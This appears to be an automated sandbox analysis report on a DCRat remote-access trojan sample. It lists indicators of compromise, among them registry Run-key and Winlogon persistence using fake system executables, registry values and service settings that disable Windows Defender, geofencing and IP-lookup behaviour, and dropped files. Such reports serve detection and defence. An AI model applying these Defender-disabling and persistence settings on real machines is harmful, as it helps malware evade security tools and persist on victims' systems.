dcrat | 841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\blockweb\\fontdrvhost.exe\", \"C:\\blockweb\\upfc.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\blockweb\\fontdrvhost.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\lsass.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\blockweb\\fontdrvhost.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\lsass.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Filters\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\blockweb\\fontdrvhost.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\lsass.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\blockweb\\fontdrvhost.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Program Files\\Windows Portable Devices\\lsass.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Filters\\csrss.exe\", \"C:\\Program Files\\Google\\Chrome\\Application\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\", \"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\", \"C:\\Program Files\\Windows Media Player\\taskhostw.exe\", \"C:\\blockweb\\smss.exe\", \"C:\\Windows\\Vss\\services.exe\", \"C:\\blockweb\\services.exe\", \"C:\\Windows\\Speech_OneCore\\smss.exe\", \"C:\\blockweb\\upfc.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\blockweb\\fontdrvhost.exe\""	portrefNet.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Process spawned unexpected child process 48 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2752	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2336	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3480	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2996	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2608	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	552	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4904	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4180	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	432	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3184	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4404	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4744	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4924	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	956	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2648	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	456	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3204	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	872	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1172	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2164	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3944	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2064	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4852	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4424	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	548	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1056	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3852	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3036	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4620	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4504	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1904	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4460	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3748	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3220	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3952	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4552	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4748	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1096	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2148	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3472	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1044	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	924	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4452	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	556	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	984	4040	schtasks.exe	124
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2576	4040	schtasks.exe	124

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000900000001e560-47.dat	dcrat
behavioral2/files/0x0007000000023cc2-80.dat	dcrat
behavioral2/memory/4016-81-0x0000000000D00000-0x0000000000F3A000-memory.dmp	dcrat

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	BBD6FFDB33259778F08704696A04891F.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Lunch LaCheatV2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Lunch LaCheat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	portrefNet.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	portrefNet.exe

Executes dropped EXE 7 IoCs

pid	Process
2468	Lunch LaCheatV2.exe
3092	Lunch LaCheat.exe
3852	DCRatBuild.exe
4508	52cheatand52rat.exe
4016	portrefNet.exe
1740	portrefNet.exe
2636	dllhost.exe

VMProtect packed file 5 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0009000000023c6a-4.dat	vmprotect
behavioral2/memory/2468-24-0x0000000000400000-0x0000000001B6B000-memory.dmp	vmprotect
behavioral2/files/0x0007000000023cbf-28.dat	vmprotect
behavioral2/memory/2468-33-0x0000000000400000-0x0000000001B6B000-memory.dmp	vmprotect
behavioral2/memory/3092-42-0x0000000000400000-0x00000000018F3000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 30 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Windows\\Speech_OneCore\\smss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\blockweb\\upfc.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\WindowsRE\\dllhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\ja-JP\\taskhostw.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Users\\Admin\\Favorites\\MoUsoCoreWorker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\Windows\\Vss\\services.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\blockweb\\services.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\blockweb\\services.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\blockweb\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files\\Windows Portable Devices\\lsass.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files\\Google\\Chrome\\Application\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Recovery\\WindowsRE\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\blockweb\\upfc.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Recovery\\WindowsRE\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Windows\\assembly\\GAC_64\\srmlib\\1.0.0.0__31bf3856ad364e35\\StartMenuExperienceHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\blockweb\\smss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Windows\\Speech_OneCore\\smss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\blockweb\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Filters\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files\\Google\\Chrome\\Application\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Program Files\\Windows Media Player\\taskhostw.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Program Files\\Windows Media Player\\taskhostw.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\blockweb\\smss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\Windows\\Vss\\services.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\WindowsRE\\dllhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files\\Windows Portable Devices\\lsass.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Filters\\csrss.exe\""	portrefNet.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2468	Lunch LaCheatV2.exe
3092	Lunch LaCheat.exe

Drops file in Program Files directory 11 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ea9f0e6c9e2dcd	portrefNet.exe
File created	C:\Program Files\Windows Media Player\ea9f0e6c9e2dcd	portrefNet.exe
File created	C:\Program Files\Windows Portable Devices\lsass.exe	portrefNet.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\csrss.exe	portrefNet.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\Filters\886983d96e3d3e	portrefNet.exe
File created	C:\Program Files\Google\Chrome\Application\csrss.exe	portrefNet.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\ja-JP\taskhostw.exe	portrefNet.exe
File created	C:\Program Files\Windows Media Player\taskhostw.exe	portrefNet.exe
File opened for modification	C:\Program Files\Windows Media Player\taskhostw.exe	portrefNet.exe
File created	C:\Program Files\Windows Portable Devices\6203df4a6bafc7	portrefNet.exe
File created	C:\Program Files\Google\Chrome\Application\886983d96e3d3e	portrefNet.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\55b276f4edf653	portrefNet.exe
File created	C:\Windows\Vss\services.exe	portrefNet.exe
File created	C:\Windows\Vss\c5b4cb5e9653cc	portrefNet.exe
File created	C:\Windows\Speech_OneCore\smss.exe	portrefNet.exe
File created	C:\Windows\Speech_OneCore\69ddcba757bf72	portrefNet.exe
File created	C:\Windows\assembly\GAC_64\srmlib\1.0.0.0__31bf3856ad364e35\StartMenuExperienceHost.exe	portrefNet.exe
